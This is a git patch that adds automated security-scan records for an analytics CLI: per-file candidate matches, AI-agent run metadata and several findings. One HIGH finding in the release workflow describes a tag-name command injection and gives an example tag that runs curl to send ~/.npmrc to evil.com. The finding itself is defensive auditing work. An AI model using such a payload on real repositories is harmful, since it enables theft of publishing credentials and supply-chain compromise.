From 30c737727f4bf6cf2e30cc2df97859bf58576a09 Mon Sep 17 00:00:00 2001 From: Yos Riady Date: Thu, 25 Jun 2026 08:52:19 +0700 Subject: [PATCH 1/3] Update CLI to latest --- .../cli/files/.github/workflows/ci.yml.json | 64 ++ .../files/.github/workflows/release.yml.json | 82 +++ .../cli/files/src/commands/alerts.ts.json | 90 +++ .../cli/files/src/commands/analytics.ts.json | 83 +++ .../cli/files/src/commands/boards.ts.json | 82 +++ .../cli/files/src/commands/charts.ts.json | 78 +++ .../cli/files/src/commands/contracts.ts.json | 83 +++ .../cli/files/src/commands/import.ts.json | 67 ++ .../cli/files/src/commands/profiles.ts.json | 120 ++++ .../data/cli/files/src/commands/query.ts.json | 68 ++ .../cli/files/src/commands/segments.ts.json | 92 +++ .deepsec/data/cli/files/src/index.ts.json | 123 ++++ .../data/cli/files/src/lib/client.ts.json | 63 ++ .../data/cli/files/src/lib/config.ts.json | 82 +++ .deepsec/data/cli/files/src/lib/ui.ts.json | 66 ++ .deepsec/data/cli/project.json | 6 + .deepsec/data/cli/reports/report.json | 609 ++++++++++++++++++ .deepsec/data/cli/reports/report.md | 91 +++ .../runs/20260518132755-84f586919cca3cc4.json | 93 +++ .../runs/20260518132805-a5fd1949eb744d8b.json | 27 + README.md | 104 ++- SKILLS.md | 142 +++- src/commands/alerts.ts | 147 ++++- src/commands/boards.ts | 74 ++- src/commands/charts.ts | 415 +++++++++++- src/commands/contracts.ts | 251 ++++++-- src/commands/events.ts | 75 +++ src/commands/import.ts | 53 +- src/commands/profiles.ts | 251 +++++++- src/commands/segments.ts | 24 +- src/index.ts | 13 +- src/lib/client.ts | 37 +- src/lib/json.ts | 61 ++ test/commands/bodyBuilders.test.ts | 200 +++++- test/commands/contracts.test.ts | 2 +- test/commands/events.test.ts | 38 ++ test/commands/import.test.ts | 19 +- test/commands/profiles.test.ts | 26 + test/lib/client.test.ts | 33 +- test/lib/parseApiError.test.ts | 4 + 40 files changed, 3810 insertions(+), 228 deletions(-) create mode 100644 .deepsec/data/cli/files/.github/workflows/ci.yml.json create mode 100644 .deepsec/data/cli/files/.github/workflows/release.yml.json create mode 100644 .deepsec/data/cli/files/src/commands/alerts.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/analytics.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/boards.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/charts.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/contracts.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/import.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/profiles.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/query.ts.json create mode 100644 .deepsec/data/cli/files/src/commands/segments.ts.json create mode 100644 .deepsec/data/cli/files/src/index.ts.json create mode 100644 .deepsec/data/cli/files/src/lib/client.ts.json create mode 100644 .deepsec/data/cli/files/src/lib/config.ts.json create mode 100644 .deepsec/data/cli/files/src/lib/ui.ts.json create mode 100644 .deepsec/data/cli/project.json create mode 100644 .deepsec/data/cli/reports/report.json create mode 100644 .deepsec/data/cli/reports/report.md create mode 100644 .deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json create mode 100644 .deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json create mode 100644 src/commands/events.ts create mode 100644 src/lib/json.ts create mode 100644 test/commands/events.test.ts diff --git a/.deepsec/data/cli/files/.github/workflows/ci.yml.json b/.deepsec/data/cli/files/.github/workflows/ci.yml.json new file mode 100644 index 0000000..d941ed4 --- /dev/null +++ b/.deepsec/data/cli/files/.github/workflows/ci.yml.json @@ -0,0 +1,64 @@ +{ + "filePath": ".github/workflows/ci.yml", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "github-workflow-security", + "lineNumbers": [ + 12, + 81 + ], + "snippet": "\nconcurrency:\n group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}\n cancel-in-progress: true\n", + "matchedPattern": "github.event interpolation in run:, secret reference" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.995Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "c17865ccd57f14e6304b95777a86087390e470d03b68145e00b71057aee9bac6", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:32:16.392Z", + "durationMs": 80847.33333333333, + "durationApiMs": 77802, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", + "findingCount": 0, + "numTurns": 2.3333333333333335, + "phase": "process", + "costUsd": 0.29499000000000003, + "usage": { + "inputTokens": 2.6666666666666665, + "outputTokens": 5766.666666666667, + "cacheReadInputTokens": 45820, + "cacheCreationInputTokens": 20464 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-03T21:01:49+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T11:46:42+07:00" + } + ], + "enrichedAt": "2026-05-18T13:32:16.485Z" + } +} diff --git a/.deepsec/data/cli/files/.github/workflows/release.yml.json b/.deepsec/data/cli/files/.github/workflows/release.yml.json new file mode 100644 index 0000000..e2e06b4 --- /dev/null +++ b/.deepsec/data/cli/files/.github/workflows/release.yml.json @@ -0,0 +1,82 @@ +{ + "filePath": ".github/workflows/release.yml", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "github-workflow-security", + "lineNumbers": [ + 9, + 69, + 74, + 168 + ], + "snippet": "\npermissions:\n id-token: write # Required for OIDC trusted publishing\n contents: write # Required for creating GitHub releases\n", + "matchedPattern": "id-token: write (OIDC), secret reference" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.995Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "53f9e7e70acc51536ba7dd422022cbb48ebee4c485bbbf6ccc70383ba6dbca31", + "findings": [ + { + "severity": "HIGH", + "vulnSlug": "github-workflow-security", + "title": "Command injection in release workflow via attacker-controlled git tag name (supply-chain RCE)", + "description": "The `publish` job interpolates tag-derived GitHub Actions expressions directly into multi-line `run:` shell scripts. L79 `CURRENT_TAG=${{ github.ref_name }}` injects the raw tag name, and L55/L82 `TAG_VERSION=${{ steps.version.outputs.version }}` / `VERSION=${{ steps.version.outputs.version }}` inject the `version` step output which is derived at L49 from the tag itself (`VERSION=${GITHUB_REF#refs/tags/v}`). Actions performs `${{ }}` substitution textually BEFORE the shell runs, so the tag name becomes literal shell source. Git ref-naming rules forbid spaces and a few metacharacters but PERMIT `;`, `$`, backtick, `(`, `)`, `|`, `&`, `{`, `}`, `<`, `>`. A tag such as `v1.0.0;curl${IFS}-d@$HOME/.npmrc${IFS}evil.com` (or backtick/`$()` variants, using `${IFS}` to avoid spaces) yields `CURRENT_TAG=v1.0.0;curl ... evil.com`, executing arbitrary commands. The `publish` job holds `id-token: write` (npm OIDC trusted publishing), `contents: write`, and environment access to `secrets.TEST_TOKEN` and `secrets.GITHUB_TOKEN`. Arbitrary code execution here means an attacker can publish a malicious `@formo/cli` to npm, exfiltrate the OIDC-minted npm publish token and `GITHUB_TOKEN`, and tamper with releases — a full supply-chain compromise of a published package. The earlier 'Verify tag is on main branch' step only checks `github.sha` ancestry (a hex SHA, not injectable) and does NOT validate the tag NAME, so it does not mitigate this: an attacker can point a maliciously-named tag at a legitimate main commit and the guard still passes. Precondition: ability to push/create a tag (repository write access; default GitHub has no tag-protection). This is a privilege escalation from 'write access' to 'arbitrary npm publish + OIDC/secret exfiltration', and is the canonical GitHub Actions script-injection anti-pattern (CWE-78) that GitHub explicitly warns against.", + "lineNumbers": [ + 49, + 55, + 79, + 82 + ], + "recommendation": "Never interpolate `${{ github.ref_name }}` or any tag/ref-derived value (including `steps.version.outputs.version`, which is computed from the tag) directly into a `run:` block. Pass them through the step's `env:` map and reference them as quoted shell variables, e.g.:\n\n - name: Generate release notes\n env:\n CURRENT_TAG: ${{ github.ref_name }}\n VERSION: ${{ steps.version.outputs.version }}\n run: |\n PREV_TAG=$(git tag -l 'v*' --sort=-version:refname | grep -v \"^${CURRENT_TAG}$\" | head -1)\n\nDo the same for the `TAG_VERSION` usage at L55. Environment-variable values are not re-parsed as shell, so injection is prevented. Additionally, harden the version regex (e.g. validate `github.ref_name` matches `^v[0-9]+\\.[0-9]+\\.[0-9]+([.-][0-9A-Za-z.]+)?$` and `exit 1` otherwise before any other step), and enable GitHub tag protection rules so only trusted maintainers can create `v*` tags.", + "confidence": "high", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:32:16.485Z", + "durationMs": 80847.33333333333, + "durationApiMs": 77802, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", + "findingCount": 1, + "numTurns": 2.3333333333333335, + "phase": "process", + "costUsd": 0.29499000000000003, + "usage": { + "inputTokens": 2.6666666666666665, + "outputTokens": 5766.666666666667, + "cacheReadInputTokens": 45820, + "cacheCreationInputTokens": 20464 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-03T21:01:49+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T11:46:42+07:00" + } + ], + "enrichedAt": "2026-05-18T13:32:16.568Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/alerts.ts.json b/.deepsec/data/cli/files/src/commands/alerts.ts.json new file mode 100644 index 0000000..ae063ee --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/alerts.ts.json @@ -0,0 +1,90 @@ +{ + "filePath": "src/commands/alerts.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 17, + 18, + 34, + 36, + 39, + 93, + 95, + 96, + 100, + 104, + 105, + 110, + 139, + 141, + 144, + 145, + 149, + 153, + 154, + 160, + 178, + 180, + 183, + 200, + 202, + 205, + 211 + ], + "snippet": "\nexport const alerts = Cli.create('alerts', {\n description: 'Project alert commands — create, list, update, and delete alerts',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.910Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "31b141939acf9b9ee20edc687a6f4379c771b89ab276bcc64987fd63baadcd84", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.062Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-18T17:16:09+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:45.183Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/analytics.ts.json b/.deepsec/data/cli/files/src/commands/analytics.ts.json new file mode 100644 index 0000000..a2f88f6 --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/analytics.ts.json @@ -0,0 +1,83 @@ +{ + "filePath": "src/commands/analytics.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 13, + 14, + 15, + 16, + 17, + 18, + 19, + 20, + 21, + 22, + 23, + 24, + 25, + 26, + 27, + 28, + 29, + 30, + 132, + 136, + 140, + 147, + 157, + 161, + 165 + ], + "snippet": "\nexport const analytics = Cli.create('analytics', {\n description:\n 'Pre-built analytics query commands — KPIs, funnels, retention, revenue, and top-N breakdowns',\n})", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.909Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "832edb114f624fdde553a726f5174ea166c39ef52618d4a40ff971681c7de6ec", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.183Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-18T17:16:09+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:45.271Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/boards.ts.json b/.deepsec/data/cli/files/src/commands/boards.ts.json new file mode 100644 index 0000000..b24de6f --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/boards.ts.json @@ -0,0 +1,82 @@ +{ + "filePath": "src/commands/boards.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 17, + 18, + 34, + 36, + 39, + 51, + 59, + 60, + 67, + 69, + 70, + 75, + 78, + 79, + 92, + 101, + 107, + 109, + 112, + 113, + 119, + 137, + 139, + 142 + ], + "snippet": "\nexport const boards = Cli.create('boards', {\n description: 'Dashboard board commands — create, list, update, and delete boards',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.909Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "500a04929575b1d361a4e125fe0482cb00b32b1daa78c404bd98eb070dee14d2", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.271Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:45.351Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/charts.ts.json b/.deepsec/data/cli/files/src/commands/charts.ts.json new file mode 100644 index 0000000..6a90336 --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/charts.ts.json @@ -0,0 +1,78 @@ +{ + "filePath": "src/commands/charts.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 17, + 19, + 24, + 44, + 46, + 49, + 55, + 84, + 86, + 87, + 95, + 124, + 126, + 129, + 130, + 139, + 159, + 161, + 164, + 170 + ], + "snippet": "\nexport const charts = Cli.create('charts', {\n description: 'Chart commands — create, list, update, and delete charts within boards',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.909Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "7a1049c3612af80dcbdf81084397eb96923af79da2294857e50448f2e6d030c4", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.351Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:45.431Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/contracts.ts.json b/.deepsec/data/cli/files/src/commands/contracts.ts.json new file mode 100644 index 0000000..ee0a73a --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/contracts.ts.json @@ -0,0 +1,83 @@ +{ + "filePath": "src/commands/contracts.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 17, + 18, + 66, + 68, + 69, + 70, + 71, + 72, + 83, + 136, + 138, + 139, + 142, + 143, + 144, + 154, + 174, + 176, + 177, + 182 + ], + "snippet": "\nexport const contracts = Cli.create('contracts', {\n description: 'Smart contract commands — register, list, update, and remove tracked contracts',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.909Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "42a76fddcd0b2a7d33794bfdf78c8fa65db157fcc2405a66eb146528f8f64c53", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:45.432Z", + "durationMs": 30415.8, + "durationApiMs": 28011, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", + "findingCount": 0, + "numTurns": 2.2, + "phase": "process", + "costUsd": 0.14245805000000003, + "usage": { + "inputTokens": 2, + "outputTokens": 1932.2, + "cacheReadInputTokens": 34973.6, + "cacheCreationInputTokens": 12265 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-03T18:51:58+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:45.508Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/import.ts.json b/.deepsec/data/cli/files/src/commands/import.ts.json new file mode 100644 index 0000000..83ce00e --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/import.ts.json @@ -0,0 +1,67 @@ +{ + "filePath": "src/commands/import.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 38, + 42, + 43, + 51 + ], + "snippet": "\nexport const importCmd = Cli.create('import', {\n description: 'Import commands — bulk import wallet addresses into your project',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.909Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "1a683012805a900dcab78406eabc625caed2dd6c92ebfc6097cff15cf7e04bf1", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:11.755Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 0, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-03T18:51:58+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:11.872Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/profiles.ts.json b/.deepsec/data/cli/files/src/commands/profiles.ts.json new file mode 100644 index 0000000..609d9a0 --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/profiles.ts.json @@ -0,0 +1,120 @@ +{ + "filePath": "src/commands/profiles.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 17, + 19, + 25, + 28, + 32, + 93, + 128, + 130, + 131, + 132, + 148, + 149, + 150, + 154, + 168, + 171, + 173, + 174, + 178, + 185, + 194, + 201, + 244, + 246, + 251, + 252, + 261, + 266, + 278, + 323, + 325, + 331, + 332, + 333, + 337, + 343, + 348, + 353, + 391, + 393, + 396, + 397, + 403, + 408 + ], + "snippet": "\nexport const profiles = Cli.create('profiles', {\n description: 'Wallet profile commands',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.909Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "ffddee458c283a77bf23a4862a4e9a290e95409409b760b6725528b0fc3d2eaf", + "findings": [ + { + "severity": "BUG", + "vulnSlug": "other-logic-bug", + "title": "HTTP GET issued with a request body for profile search conditions", + "description": "searchProfilesRun() sends the validated `--conditions`/`--logic` payload as the body of a GET request: `client.request({ method: 'get', url: '/v0/profiles/', params, data: body })`. Bodies on GET requests are not reliably transmitted — axios sends them, but many HTTP intermediaries, proxies, and server frameworks strip or ignore GET request bodies. If the body is dropped anywhere along the path, the filter conditions are silently discarded and the endpoint returns the entire unfiltered profile dataset. This is exactly the silent-unfiltered-result footgun that parseSearchConditions()'s own comments (lines 52-55, 96-98) go to great lengths to prevent for bare field names. Not a security vulnerability (data is the caller's own project data under their own scoped key), but a correctness/cost concern: a user believing they filtered to a small result set may instead page through the full dataset. Low confidence because it depends on api.formo.so and the transport actually honoring GET bodies, which cannot be verified from the client code alone.", + "lineNumbers": [ + 124 + ], + "recommendation": "Either send the conditions payload via POST (e.g. a dedicated search endpoint) or confirm api.formo.so reliably reads GET bodies. If the GET-with-body contract is intentional and supported end-to-end, document it explicitly so future maintainers do not 'fix' it.", + "confidence": "low", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:11.873Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 1, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "1084226+yosriady@users.noreply.github.com", + "date": "2026-05-18T17:16:09+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T09:27:41+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:11.964Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/query.ts.json b/.deepsec/data/cli/files/src/commands/query.ts.json new file mode 100644 index 0000000..ff8abbf --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/query.ts.json @@ -0,0 +1,68 @@ +{ + "filePath": "src/commands/query.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 15, + 17, + 22, + 25, + 26 + ], + "snippet": "\nexport const query = Cli.create('query', {\n description: 'SQL analytics query commands',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.908Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "1b4d12b5ac53219b531b82fe78f6595a0c4ce66fe160609d1de032c06e86db2d", + "findings": [], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:11.964Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": "claude-opus-4-7", + "modelConfig": { + "model": "claude-opus-4-7" + }, + "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", + "findingCount": 0, + "numTurns": 2, + "phase": "process", + "costUsd": 0.1443679375, + "usage": { + "inputTokens": 1.5, + "outputTokens": 2118.75, + "cacheReadInputTokens": 20086.5, + "cacheCreationInputTokens": 13015.75 + }, + "refusal": { + "refused": false, + "skipped": [], + "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" + } + } + ], + "status": "analyzed", + "gitInfo": { + "recentCommitters": [ + { + "name": "Yos Riady", + "email": "yos@formo.so", + "date": "2026-05-02T12:08:36+07:00" + }, + { + "name": "ngogiahuandev", + "email": "ngogiahuan23122003@gmail.com", + "date": "2026-04-10T11:11:00+07:00" + } + ], + "enrichedAt": "2026-05-18T13:30:12.075Z" + } +} diff --git a/.deepsec/data/cli/files/src/commands/segments.ts.json b/.deepsec/data/cli/files/src/commands/segments.ts.json new file mode 100644 index 0000000..e0fac59 --- /dev/null +++ b/.deepsec/data/cli/files/src/commands/segments.ts.json @@ -0,0 +1,92 @@ +{ + "filePath": "src/commands/segments.ts", + "projectId": "cli", + "candidates": [ + { + "vulnSlug": "insecure-crypto", + "lineNumbers": [ + 5, + 17, + 18, + 53, + 55, + 58, + 66, + 84, + 86, + 89 + ], + "snippet": "\nexport const segments = Cli.create('segments', {\n description: 'User segment commands — create, list, and delete audience segments',\n})\n", + "matchedPattern": "weak cipher algorithm" + } + ], + "lastScannedAt": "2026-05-18T13:27:55.908Z", + "lastScannedRunId": "20260518132755-84f586919cca3cc4", + "fileHash": "1119b736c679fdff39b87c5fa5be32e496b18f0aecb56393ad9be4539a5a8f2f", + "findings": [ + { + "severity": "BUG", + "vulnSlug": "other-input-validation", + "title": "buildCreateSegmentBody does not validate that --filter-sets is an array", + "description": "buildCreateSegmentBody() does `JSON.parse(options.filterSets)` and forwards the result unchanged, but never checks `Array.isArray(parsedFilterSets)`. Both the catch-block error message ('--filter-sets must be a valid JSON array') and the Zod option description ('JSON array of filter set strings defining the segment') promise array validation that the code does not perform. Inputs like `--filter-sets '{\"x\":1}'`, `--filter-sets '5'`, or `--filter-sets '\"foo\"'` are valid JSON and therefore pass client-side validation, sending a malformed `filterSets` shape to POST /v0/segments/. This is inconsistent with the sibling validator buildImportBody() in import.ts (lines 19-21), which correctly rejects non-arrays. Not a security issue — the server enforces the real schema under the segments:write scope — but the misleading error message degrades the CLI/agent UX and can mask the actual cause of a server rejection.", + "lineNumbers": [ + 32, + 33, + 34, + 35, + 36, + 37, + 38, + 42 + ], + "recommendation": "After JSON.parse, add `if (!Array.isArray(parsedFilterSets)) throw new Error('--filter-sets must be a valid JSON array')`, mirroring buildImportBody() in import.ts, so the validation matches the documented contract.", + "confidence": "high", + "producedByRunId": "20260518132805-a5fd1949eb744d8b" + } + ], + "analysisHistory": [ + { + "runId": "20260518132805-a5fd1949eb744d8b", + "investigatedAt": "2026-05-18T13:30:12.075Z", + "durationMs": 29793.75, + "durationApiMs": 27449, + "agentType": "claude-agent-sdk", + "model": 